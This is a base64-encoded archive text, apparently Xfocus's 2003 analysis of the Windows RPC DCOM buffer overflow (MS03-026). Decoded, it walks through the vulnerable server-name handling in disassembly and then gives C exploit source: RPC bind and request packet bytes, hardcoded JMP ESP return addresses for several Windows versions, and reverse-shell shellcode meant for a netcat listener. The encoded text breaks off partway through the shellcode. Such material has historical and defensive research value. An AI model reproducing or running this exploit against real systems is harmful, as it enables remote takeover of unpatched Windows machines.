TUCoPS :: Windows :: bt725.txt

The Analysis of LSD's Buffer Overrun in Windows RPC Interface by Xfocus


VGhlICBBbmFseXNpcyAgb2YgTFNEJ3MgQnVmZmVyIE92ZXJydW4gaW4gV2luZG93cyBSUEMgSW50
ZXJmYWNlDQpBdXRob3I6Rmxhc2hza3kNCnNpdGU6d3d3Lnhmb2N1cy5vcmcgV1dXLlZFTlVTVEVD
SC5DT00uQ04gV1dXLlNIT1BTS1kuQ09NDQpFbWFpbDpmbGFzaHNreUB4Zm9jdXMub3JnDQpUcmFu
c2xhdG9yOkJlbmp1cnJ5IA0KRW1haWw6QmVuanVycnlAeGZvY3VzLm9yZw0KQ29kZSBieSBGbGFz
aHNreSBhbmQgQmVuanVycnkNCg0KDQpodHRwOi8vd3d3Lnhmb2N1cy5vcmcvZG9jdW1lbnRzLzIw
MDMwNy8yLmh0bWwNCg0KRm9yZXdvcmQNCk9uIEp1bCAxNnRoLCAyMDAzLExTRCBwdWJsaXNoZWQg
dGhhdCB0aGV5IGhhZCBkaXNjb3ZlcmVkIGEgY3JpdGljYWwgc2VjdXJpdHkgdnVsbmVyYWJpbGl0
eSBpbiBhbGwgcmVjZW50IHZlcnNpb25zIG9mIE1pY3Jvc29mdCBvcGVyYXRpbmcgc3lzdGVtcy4g
VGhlIHZ1bG5lcmFiaWxpdHkgYWZmZWN0cyBkZWZhdWx0IGluc3RhbGxhdGlvbnMgb2YgV2luZG93
cyBOVCA0LjAsIFdpbmRvd3MgMjAwMCwgV2luZG93cyBYUCBhcyB3ZWxsIGFzIFdpbmRvd3MgMjAw
MyBTZXJ2ZXIuQnV0IHRoZXkgZGlkbid0IHB1Ymxpc2ggY29kZXMgb3IgYW55IHRlY2huaWNhbCBk
ZXRhaWxzLkZvciBhbmFseXNpbmcgYW5kIGV4cGxvaXQgdGhlIHZ1bG5lcmFiaWxpdHksTWVtYmVy
cyBvZiBYZm9jdXMgaGF2ZSByZXNlYXJjaGVkIHRoZSAgcHJvYmxlbSBhbmQgcmVhZCB0aGUgY29k
ZSBkYXkgYWZ0ZXIgbmlnaHQuVGhyb3VnaCB0aGUgcHJvY2Vzcyx3ZSBmaW5kIHRoZSAiTWljcm9z
b2Z0IFdpbmRvd3MgMjAwMCBSUEMgRENPTSBJbnRlcmZhY2UgRE9TIEFORCAgUHJpdmlsZWdlIEVz
Y2FsYXRpb24gVnVsbmVyYWJpbGl0eSIsYW5kIG5vdyB3ZSBoYXZlIGdvdHRvbiB0aGUgcmVhc29u
IG9mIHZ1bG5lcmFiaWxpdHkgZm91bmQgYnkgTFNELldlIHRoYW5rcyBhbGwgbWVtYmVycyBvZiB4
Zm9jdXMgYW5kIHl1YW5nZSxFWUFTLElQWE9ESSx0aGVzZSBndXlzIGdhdmUgdXMgbXVjaCBoZWxw
LkFuZCBhdCB0aGUgc2FtZSB0aW1lLCB3ZSBhZG1pcmUgTFNEIGZvciB0aGVpciBicmlnaHRuZXNz
Lg0KDQpBbmFseXNpcw0KDQpJbiBmYWN0LE1TMDMtMDI2IGZpeCB0d28gdnVsbmVyYWJpbGl0aWVz
LG9uZSBpcyB0aGUgbG9jYWwgc3RhY2sgb3ZlcmZsb3cgYW5kIHRoZSBvdGhlciBpcyByZW1vdGUg
c3RhY2sgb3ZlcmZsb3cgLlRoZXkgIGJvdGggcmVzdWx0IGZyb20gdGhlIHNhbWUgaW50ZXJmYWNl
LHRoZSBpbXByb3BlciBBUEkgaXMgZm9sbG93aW5nOiANCkhSRVNVTFQgQ29HZXRJbnN0YW5jZUZy
b21GaWxlKA0KICBDT1NFUlZFUklORk8gKiBwU2VydmVySW5mbywgDQogIENMU0lEICogcGNsc2lk
LA0KICBJVW5rbm93biAqIHB1bmtPdXRlciwNCiAgRFdPUkQgZHdDbHNDdHgsDQogIERXT1JEIGdy
Zk1vZGUsDQogIE9MRUNIQVIgKiBzek5hbWUsDQogIFVMT05HIGNtcSwNCiAgTVVMVElfUUkgKiBy
Z21xUmVzdWx0cw0KKTsNCg0KDQpUaGUgc2l4dGggUGFyYW1ldGVyIGlzIHN6TmFtZSAsSW4gTVNE
TiBpdCBpcyBzYWlkOiBGaWxlIHRvIGluaXRpYWxpemUgdGhlIG9iamVjdCB3aXRoIHVzaW5nIElQ
ZXJzaXN0RmlsZTo6TG9hZC4gTWF5IG5vdCBiZSBOVUxMLiBUaGlzIHBhcmFtZXRlciB3aWxsIHJl
c3VsdCBpbiBidWZmIG92ZXJmbG93Lg0KaHIgPSBDb0dldEluc3RhbmNlRnJvbUZpbGUocFNlcnZl
ckluZm8sTlVMTCwwLENMU0NUWF9SRU1PVEVfU0VSVkVSLFNUR01fUkVBRFdSSVRFLEwiQzpcXDEy
MzQ1NjExMTExMTExMTExMTExMTExMTExMTExMTEuZG9jIiwxLCZxaSk7DQoNCldoZW4gdGhlIGZp
bGVuYW1lIGlzIHRvbyBsb25nICx0aGUgd2luZG93cyB3aWxsIHByb2R1Y2UgYSBsb2NhbCBidWZm
IHZvZXJmbG93LGJlY2F1c2UgdGhlIEdldFBhdGhGb3JTZXJ2ZXIgZnVuY3Rpb24gb2YgUlBDU1Mg
b25seSBoYXMgMHgyMjAgc3BhY2UuIGhvd2V2ZXIgdGhlIEFQSSBjaGVja3MgdGhlIGZpbGUgaW4g
bG9jYWwgZmlyc3QgLGFuZCB3ZSBjYW4ndCBjcmVhdGUgYSBmaWxlIHdoaWNoIGZpbGVuYW1lIGlz
IGxvbmcgdGhhbiAweDIyMC5TbyB3ZSBjYW4ndCB1c2UgdGhpcyBBUEkgdG8gZXhwb2l0LCBidXQg
d2UgY2FuIHVzZSBmdWN0aW9uIG9mIExQQyBieSBjb25zdHJ1Y3RpbmcgcGFja2V0IC4gIEhlcmUg
d2Ugb25seSBmb2N1cyBvbiByZW1vdGUgc3RhY2sgb3ZlcmZsb3c6KQ0KDQpBZnRlciB0aGUgY2xp
ZW50IHRyYW5zZmVyIHRoZSBQYXJhbWV0ZXIgdG8gdGhlIHNlcnZlciwgdGhlIHNlcnZlciB3aWxs
IHRyYW5zbGF0ZSBpdCB0byBmb3JtYXQgYXMgZm9sbG93aW5nOg0KTKGwXFxzZXJ2ZXJuYW1lXGMk
XDEyMzQ1NjExMTExMTExMTExMTExMTExMTExMTExMTEuZG9jIi4NClRoZW4gdGhlIHNlcnZlciB3
aWxsIGdldCB0aGUgc2VydmVybmFtZSBmaXJzdCxCdXQgaGVyZSBpcyB3cm9uZywgdGhlIHdpbmRv
d3MgRG9lcyBub3QgY2hlY2sgdGhlIHBhcmFtZXRlcixvbmx5IGFzc2lnbnMgdGhlIHN0YWNrIG9m
IDB4MjAgLCAweDIwIGlzICBNQVggIGxlbmd0aCBvZiBORVRCSU9TIG5hbWUuVGhlbiBidWZmIG92
ZXJmbG93IGNvbWVzIGludG8gYmVpbmcuDQp0aGUga2V5IGNvZGUgaXMgbGlzdCBhcyBmb2xsb3dp
bmc6DQoNCg0KR2V0UGF0aEZvclNlcnZlcqO6DQoudGV4dDo3NjE1NDNEQSAgICAgICAgICAgICAg
ICAgcHVzaCAgICBlYnANCi50ZXh0Ojc2MTU0M0RCICAgICAgICAgICAgICAgICBtb3YgICAgIGVi
cCwgZXNwDQoudGV4dDo3NjE1NDNERCAgICAgICAgICAgICAgICAgc3ViICAgICBlc3AsIDIwaCAg
PC0tLS0tdGhlIGxlbmd0aCBpcyBvbnkgMHgyMA0KLnRleHQ6NzYxNTQzRTAgICAgICAgICAgICAg
ICAgIG1vdiAgICAgZWF4LCBbZWJwK2FyZ180XQ0KLnRleHQ6NzYxNTQzRTMgICAgICAgICAgICAg
ICAgIHB1c2ggICAgZWJ4DQoudGV4dDo3NjE1NDNFNCAgICAgICAgICAgICAgICAgcHVzaCAgICBl
c2kNCi50ZXh0Ojc2MTU0M0U1ICAgICAgICAgICAgICAgICBtb3YgICAgIGVzaSwgW2VicCtoTWVt
XQ0KLnRleHQ6NzYxNTQzRTggICAgICAgICAgICAgICAgIHB1c2ggICAgZWRpDQoudGV4dDo3NjE1
NDNFOSAgICAgICAgICAgICAgICAgcHVzaCAgICA1Q2gNCi50ZXh0Ojc2MTU0M0VCICAgICAgICAg
ICAgICAgICBwb3AgICAgIGVieA0KLnRleHQ6NzYxNTQzRUMgICAgICAgICAgICAgICAgIG1vdiAg
ICAgW2VheF0sIGVzaQ0KLnRleHQ6NzYxNTQzRUUgICAgICAgICAgICAgICAgIGNtcCAgICAgW2Vz
aV0sIGJ4DQoudGV4dDo3NjE1NDNGMSAgICAgICAgICAgICAgICAgbW92ICAgICBlZGksIGVzaQ0K
LnRleHQ6NzYxNTQzRjMgICAgICAgICAgICAgICAgIGpueiAgICAgbG9jXzc2MTU0NEJGDQoudGV4
dDo3NjE1NDNGOSAgICAgICAgICAgICAgICAgY21wICAgICBbZXNpKzJdLCBieA0KLnRleHQ6NzYx
NTQzRkQgICAgICAgICAgICAgICAgIGpueiAgICAgbG9jXzc2MTU0NEJGDQoudGV4dDo3NjE1NDQw
MyAgICAgICAgICAgICAgICAgbGVhICAgICBlYXgsIFtlYnArU3RyaW5nMV0gPC0tLS0tLS0tLS0t
YWRkciB0byBwbGFjZSBzZXJ2ZXJuYW1lICxvbmx5IGhhdmUgdGhlIGxlbmd0aCBvZiAwWDIwDQou
dGV4dDo3NjE1NDQwNiAgICAgICAgICAgICAgICAgcHVzaCAgICAwDQoudGV4dDo3NjE1NDQwOCAg
ICAgICAgICAgICAgICAgcHVzaCAgICBlYXgNCi50ZXh0Ojc2MTU0NDA5ICAgICAgICAgICAgICAg
ICBwdXNoICAgIGVzaSAgICAgICAgPC0tLS0tLS0tLS0tLS0tLS0tLS0tLS1oZXJlIGlzIHRoZSBw
YXJhbWV0ZXIgb2YgZmlsZW5hbWUgDQoudGV4dDo3NjE1NDQwQSAgICAgICAgICAgICAgICAgY2Fs
bCAgICBHZXRNYWNoaW5lTmFtZQ0KLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLiAgd2hlbiB0aGUgZnVjdGlvbiByZXR1cm4gLGl0IHdpbGwg
YmUgYnVmZmVyIG92ZXJmbG93Lg0KDQpHZXRNYWNoaW5lTmFtZToNCi50ZXh0Ojc2MTREQjZGICAg
ICAgICAgICAgICAgICBtb3YgICAgIGVheCwgW2VicCthcmdfMF0NCi50ZXh0Ojc2MTREQjcyICAg
ICAgICAgICAgICAgICBtb3YgICAgIGVjeCwgW2VicCthcmdfNF0NCi50ZXh0Ojc2MTREQjc1ICAg
ICAgICAgICAgICAgICBsZWEgICAgIGVkeCwgW2VheCs0XQ0KLnRleHQ6NzYxNERCNzggICAgICAg
ICAgICAgICAgIG1vdiAgICAgYXgsIFtlYXgrNF0NCi50ZXh0Ojc2MTREQjdDICAgICAgICAgICAg
ICAgICBjbXAgICAgIGF4LCA1Q2ggICAgICAgICAgPC0tLS0tLS0tLS0tLS0tLS0tY2hlY2sgaWYg
aXQgaXMgMFg1QyxpZiB5ZXMsdGhlIHNlcnZlcm5hbWUgaXMgb3ZlciANCi50ZXh0Ojc2MTREQjgw
ICAgICAgICAgICAgICAgICBqeiAgICAgIHNob3J0IGxvY183NjE0REI5Mw0KLnRleHQ6NzYxNERC
ODIgICAgICAgICAgICAgICAgIHN1YiAgICAgZWR4LCBlY3gNCi50ZXh0Ojc2MTREQjg0IA0KLnRl
eHQ6NzYxNERCODQgbG9jXzc2MTREQjg0OiAgICAgICAgICAgICAgICAgICAgICAgICAgIDsgQ09E
RSBYUkVGOiBzdWJfNzYxNERBMTkrMTc4GWoNCi50ZXh0Ojc2MTREQjg0ICAgICAgICAgICAgICAg
ICBtb3YgICAgIFtlY3hdLCBheCAgICAgIDwtLS0tLS0tLS0tLS0tLS0td3JpdGUgdGhlIHNlcnZl
cm5hbWUgdG8gYWRkcixpZiBsb25nZXIgdGhhbiAweDIwLGJ1ZmYgb3ZlcmZsb3cgY29tZXMgaW50
byBiZWluZw0KLnRleHQ6NzYxNERCODcgICAgICAgICAgICAgICAgIGluYyAgICAgZWN4DQoudGV4
dDo3NjE0REI4OCAgICAgICAgICAgICAgICAgaW5jICAgICBlY3gNCi50ZXh0Ojc2MTREQjg5ICAg
ICAgICAgICAgICAgICBtb3YgICAgIGF4LCBbZWN4K2VkeF0NCi50ZXh0Ojc2MTREQjhEICAgICAg
ICAgICAgICAgICBjbXAgICAgIGF4LCA1Q2gNCi50ZXh0Ojc2MTREQjkxICAgICAgICAgICAgICAg
ICBqbnogICAgIHNob3J0IGxvY183NjE0REI4NA0KLnRleHQ6NzYxNERCOTMgDQoNCk5vdyBoZXJl
IHdlIGZpbmQgdGhlIHByb2JsZW0gYW5kIGNhbiBleHBsb2l0IGl0LlRoZSBvbmx5IHF1ZXN0aW9u
IGlzIHRoYXQgdGhlICJcXHNlcnZlcm5hbWUiIGlzIG5hbWVkIGJ5ZSBzeXN0ZW0sYnV0IHdlIGNh
biBjb25zdHJ1Y3QgaXQgIG91cnNlbHZlcyBieSBzZW5kaW5nIG1hbGZvcm1lZCBtZXNzYWdlcy4N
CkJUVyx0aGVyZSBjYW4ndCBpbmNsdWRlICIweDVjIiBpbiB0aGUgc2hlbGxjb2RlIGJlY2F1c2Ug
dGhlIGZ1bmN0aW9uIEdldE1hY2hpbmVOYW1lIGNoZWNrcyBpdCAuDQoNCg0KRXhwbG9pdDoNCjGh
olRoZSBleHBsb2l0IHVzZXMgSk1QIEVTUCAoRkYgRTQpdG8ganVtcCAsc28gd2Ugc2hvdWxkIGFk
anVzZSB0aGUgYWRkcmVzcyB0byBvdGhlciB3aW5kb3dzIHZlcnNpb247DQoyoaJUaGUgc2hlbGxj
b2RlIGNhbiBjb25uZWN0IHJldmVyc2Vko6xzbyB3ZSBzaG91bGQgcnVuIG5jIC1sIC1wIFhYWCBm
aXJzdDsNCjOholRoZSBsZW5ndGggb2Ygc2hlbGxjb2RlIG11c3QgYmUgc2l6ZW9mKHNoZWxsY29k
ZSklMTY9MTIgLGlmIG5vdCBwbGVhc2UgZmlsbCB3aXRoIDB4OTAsb3IgdGhlIHBhY2tldCBmb3Jt
YXRvZiBSUEMgd2lsbCBiZSB3cm9uZzsNCjShokJlZm9yZSB0aGUgYnVmZmVyIG92ZXJmbG93IHJl
dHVybiAsdGhlIDIgUGFyYW1ldGVycyBhZnRlciByZXR1cm4gYWRkcmVzcyBuZWVkIHRvIGJlIHVz
ZWQgLHNvIHdlIHNob3VsZCB0aGVzZSBhZGRyZXNzZXMgY2FuIGJlIHdyaXR0ZW4uDQo1oaJUaGUg
ZXhwbG9pdCB1c2UgSk1QIEVTUCxhbmQgd2UgY2FuIGV4cG9pdCBieSBvdmVybGF5aW5nIFNFSC4N
Cg0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDx3aW5zb2NrMi5oPg0KI2luY2x1ZGUg
PHdpbmRvd3MuaD4NCiNpbmNsdWRlIDxwcm9jZXNzLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQoj
aW5jbHVkZSA8d2luYmFzZS5oPg0KI3ByYWdtYSAgY29tbWVudChsaWIsIndzMl8zMiIpDQoNCnVu
c2lnbmVkIGNoYXIgYmluZHN0cltdPXsNCjB4MDUsMHgwMCwweDBCLDB4MDMsMHgxMCwweDAwLDB4
MDAsMHgwMCwweDQ4LDB4MDAsMHgwMCwweDAwLDB4N0YsMHgwMCwweDAwLDB4MDAsDQoweEQwLDB4
MTYsMHhEMCwweDE2LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDAsMHgwMCwweDAx
LDB4MDAsMHgwMSwweDAwLA0KMHhhMCwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAw
LDB4QzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NiwweDAwLDB4MDAsMHgwMCww
eDAwLA0KMHgwNCwweDVELDB4ODgsMHg4QSwweEVCLDB4MUMsMHhDOSwweDExLDB4OUYsMHhFOCww
eDA4LDB4MDAsDQoweDJCLDB4MTAsMHg0OCwweDYwLDB4MDIsMHgwMCwweDAwLDB4MDB9Ow0KDQp1
bnNpZ25lZCBjaGFyIHJlcXVlc3QxW109ew0KMHgwNSwweDAwLDB4MDAsMHgwMywweDEwLDB4MDAs
MHgwMCwweDAwLDB4RTgsMHgwMw0KLDB4MDAsMHgwMCwweEU1LDB4MDAsMHgwMCwweDAwLDB4RDAs
MHgwMywweDAwLDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDA1LDB4MDANCiwweDA2LDB4MDAs
MHgwMSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MzIsMHgyNCwweDU4LDB4
RkQsMHhDQywweDQ1DQosMHg2NCwweDQ5LDB4QjAsMHg3MCwweERELDB4QUUsMHg3NCwweDJDLDB4
OTYsMHhEMiwweDYwLDB4NUUsMHgwRCwweDAwLDB4MDEsMHgwMA0KLDB4MDAsMHgwMCwweDAwLDB4
MDAsMHgwMCwweDAwLDB4NzAsMHg1RSwweDBELDB4MDAsMHgwMiwweDAwLDB4MDAsMHgwMCwweDdD
LDB4NUUNCiwweDBELDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDEwLDB4MDAsMHgwMCwweDAw
LDB4ODAsMHg5NiwweEYxLDB4RjEsMHgyQSwweDREDQosMHhDRSwweDExLDB4QTYsMHg2QSwweDAw
LDB4MjAsMHhBRiwweDZFLDB4NzIsMHhGNCwweDBDLDB4MDAsMHgwMCwweDAwLDB4NEQsMHg0MQ0K
LDB4NTIsMHg0MiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwRCww
eEYwLDB4QUQsMHhCQSwweDAwLDB4MDANCiwweDAwLDB4MDAsMHhBOCwweEY0LDB4MEIsMHgwMCww
eDYwLDB4MDMsMHgwMCwweDAwLDB4NjAsMHgwMywweDAwLDB4MDAsMHg0RCwweDQ1DQosMHg0Riww
eDU3LDB4MDQsMHgwMCwweDAwLDB4MDAsMHhBMiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgw
MCwweDAwLDB4QzAsMHgwMA0KLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2LDB4MzgsMHgw
MywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweEMwLDB4MDANCiwweDAwLDB4MDAsMHgw
MCwweDAwLDB4MDAsMHg0NiwweDAwLDB4MDAsMHgwMCwweDAwLDB4MzAsMHgwMywweDAwLDB4MDAs
MHgyOCwweDAzDQosMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMSwweDEwLDB4MDgs
MHgwMCwweENDLDB4Q0MsMHhDQywweENDLDB4QzgsMHgwMA0KLDB4MDAsMHgwMCwweDRELDB4NDUs
MHg0RiwweDU3LDB4MjgsMHgwMywweDAwLDB4MDAsMHhEOCwweDAwLDB4MDAsMHgwMCwweDAwLDB4
MDANCiwweDAwLDB4MDAsMHgwMiwweDAwLDB4MDAsMHgwMCwweDA3LDB4MDAsMHgwMCwweDAwLDB4
MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQosMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4
MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweEM0LDB4MjgsMHhDRCwweDAwLDB4NjQsMHgyOQ0KLDB4
Q0QsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHhCOSwweDAx
LDB4MDAsMHgwMCwweDAwLDB4MDANCiwweDAwLDB4MDAsMHhDMCwweDAwLDB4MDAsMHgwMCwweDAw
LDB4MDAsMHgwMCwweDQ2LDB4QUIsMHgwMSwweDAwLDB4MDAsMHgwMCwweDAwDQosMHgwMCwweDAw
LDB4QzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NiwweEE1LDB4MDEsMHgwMCww
eDAwLDB4MDAsMHgwMA0KLDB4MDAsMHgwMCwweEMwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCww
eDAwLDB4NDYsMHhBNiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDANCiwweDAwLDB4MDAsMHhDMCww
eDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2LDB4QTQsMHgwMSwweDAwLDB4MDAsMHgw
MCwweDAwDQosMHgwMCwweDAwLDB4QzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0
NiwweEFELDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMA0KLDB4MDAsMHgwMCwweEMwLDB4MDAsMHgw
MCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NDYsMHhBQSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAN
CiwweDAwLDB4MDAsMHhDMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2LDB4MDcs
MHgwMCwweDAwLDB4MDAsMHg2MCwweDAwDQosMHgwMCwweDAwLDB4NTgsMHgwMCwweDAwLDB4MDAs
MHg5MCwweDAwLDB4MDAsMHgwMCwweDQwLDB4MDAsMHgwMCwweDAwLDB4MjAsMHgwMA0KLDB4MDAs
MHgwMCwweDc4LDB4MDAsMHgwMCwweDAwLDB4MzAsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4
MDAsMHgwMCwweDAxLDB4MTANCiwweDA4LDB4MDAsMHhDQywweENDLDB4Q0MsMHhDQywweDUwLDB4
MDAsMHgwMCwweDAwLDB4NEYsMHhCNiwweDg4LDB4MjAsMHhGRiwweEZGDQosMHhGRiwweEZGLDB4
MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAw
LDB4MDAsMHgwMA0KLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAw
LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDANCiwweDAwLDB4MDAsMHgwMCwweDAw
LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCww
eDAwDQosMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCww
eDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMA0KLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCww
eDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAxLDB4MTANCiww
eDA4LDB4MDAsMHhDQywweENDLDB4Q0MsMHhDQywweDQ4LDB4MDAsMHgwMCwweDAwLDB4MDcsMHgw
MCwweDY2LDB4MDAsMHgwNiwweDA5DQosMHgwMiwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhD
MCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2LDB4MTAsMHgwMA0KLDB4MDAsMHgw
MCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDAs
MHgwMCwweDAwLDB4MDANCiwweDAwLDB4MDAsMHg3OCwweDE5LDB4MEMsMHgwMCwweDU4LDB4MDAs
MHgwMCwweDAwLDB4MDUsMHgwMCwweDA2LDB4MDAsMHgwMSwweDAwDQosMHgwMCwweDAwLDB4NzAs
MHhEOCwweDk4LDB4OTMsMHg5OCwweDRGLDB4RDIsMHgxMSwweEE5LDB4M0QsMHhCRSwweDU3LDB4
QjIsMHgwMA0KLDB4MDAsMHgwMCwweDMyLDB4MDAsMHgzMSwweDAwLDB4MDEsMHgxMCwweDA4LDB4
MDAsMHhDQywweENDLDB4Q0MsMHhDQywweDgwLDB4MDANCiwweDAwLDB4MDAsMHgwRCwweEYwLDB4
QUQsMHhCQSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAw
DQosMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxOCwweDQzLDB4MTQsMHgwMCwweDAw
LDB4MDAsMHgwMCwweDAwLDB4NjAsMHgwMA0KLDB4MDAsMHgwMCwweDYwLDB4MDAsMHgwMCwweDAw
LDB4NEQsMHg0NSwweDRGLDB4NTcsMHgwNCwweDAwLDB4MDAsMHgwMCwweEMwLDB4MDENCiwweDAw
LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweEMwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCww
eDAwLDB4NDYsMHgzQiwweDAzDQosMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhDMCww
eDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2LDB4MDAsMHgwMA0KLDB4MDAsMHgwMCww
eDMwLDB4MDAsMHgwMCwweDAwLDB4MDEsMHgwMCwweDAxLDB4MDAsMHg4MSwweEM1LDB4MTcsMHgw
MywweDgwLDB4MEUNCiwweEU5LDB4NEEsMHg5OSwweDk5LDB4RjEsMHg4QSwweDUwLDB4NkYsMHg3
QSwweDg1LDB4MDIsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQosMHgwMCwweDAwLDB4MDAsMHgw
MCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAs
MHgwMA0KLDB4MDAsMHgwMCwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDEsMHgxMCwweDA4LDB4MDAs
MHhDQywweENDLDB4Q0MsMHhDQywweDMwLDB4MDANCiwweDAwLDB4MDAsMHg3OCwweDAwLDB4NkUs
MHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4RDgsMHhEQSwweDBELDB4MDAsMHgwMCwweDAwDQos
MHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgyMCwweDJGLDB4MEMsMHgwMCwweDAwLDB4
MDAsMHgwMCwweDAwLDB4MDAsMHgwMA0KLDB4MDAsMHgwMCwweDAzLDB4MDAsMHgwMCwweDAwLDB4
MDAsMHgwMCwweDAwLDB4MDAsMHgwMywweDAwLDB4MDAsMHgwMCwweDQ2LDB4MDANCiwweDU4LDB4
MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAxLDB4MTAsMHgwOCwweDAwLDB4Q0MsMHhDQywweEND
LDB4Q0MsMHgxMCwweDAwDQosMHgwMCwweDAwLDB4MzAsMHgwMCwweDJFLDB4MDAsMHgwMCwweDAw
LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMA0KLDB4MDAsMHgwMCwweDAw
LDB4MDAsMHgwMCwweDAwLDB4MDEsMHgxMCwweDA4LDB4MDAsMHhDQywweENDLDB4Q0MsMHhDQyww
eDY4LDB4MDANCiwweDAwLDB4MDAsMHgwRSwweDAwLDB4RkYsMHhGRiwweDY4LDB4OEIsMHgwQiww
eDAwLDB4MDIsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQosMHgwMCwweDAwLDB4MDAsMHgwMCww
eDAwLDB4MDB9Ow0KDQp1bnNpZ25lZCBjaGFyIHJlcXVlc3QyW109ew0KMHgyMCwweDAwLDB4MDAs
MHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MjAsMHgwMA0KLDB4MDAsMHgwMCwweDVDLDB4MDAs
MHg1QywweDAwfTsNCg0KdW5zaWduZWQgY2hhciByZXF1ZXN0M1tdPXsNCjB4NUMsMHgwMA0KLDB4
NDMsMHgwMCwweDI0LDB4MDAsMHg1QywweDAwLDB4MzEsMHgwMCwweDMyLDB4MDAsMHgzMywweDAw
LDB4MzQsMHgwMCwweDM1LDB4MDANCiwweDM2LDB4MDAsMHgzMSwweDAwLDB4MzEsMHgwMCwweDMx
LDB4MDAsMHgzMSwweDAwLDB4MzEsMHgwMCwweDMxLDB4MDAsMHgzMSwweDAwDQosMHgzMSwweDAw
LDB4MzEsMHgwMCwweDMxLDB4MDAsMHgzMSwweDAwLDB4MzEsMHgwMCwweDMxLDB4MDAsMHgzMSww
eDAwLDB4MzEsMHgwMA0KLDB4MkUsMHgwMCwweDY0LDB4MDAsMHg2RiwweDAwLDB4NjMsMHgwMCww
eDAwLDB4MDB9Ow0KDQoNCg0KDQp1bnNpZ25lZCBpbnQgam1wZXNwX2NuX3NwMyA9ICJceDI5XHgy
Y1x4ZTJceDc3IjsNCnVuc2lnbmVkIGludCBqbXBlc3BfY25fc3A0ID0gIlx4MjlceDRjXHhkZlx4
NzciOw0KdW5zaWduZWQgaW50IGptcGVzcF9lbl94cF9zcDE9Ilx4ZGJceDM3XHhkN1x4NzciOw0K
DQoNCnVuc2lnbmVkIGNoYXIgc2NbXT0NCiAgICAiXHg0Nlx4MDBceDU4XHgwMFx4NEVceDAwXHg0
Mlx4MDBceDQ2XHgwMFx4NThceDAwIg0KICAgICJceDQ2XHgwMFx4NThceDAwXHg0RVx4MDBceDQy
XHgwMFx4NDZceDAwXHg1OFx4MDBceDQ2XHgwMFx4NThceDAwIg0KICAgICJceDQ2XHgwMFx4NThc
eDAwXHg0Nlx4MDBceDU4XHgwMCINCg0KICAgIA0KICAgICJceDI5XHg0Y1x4ZGZceDc3Ii8vam1w
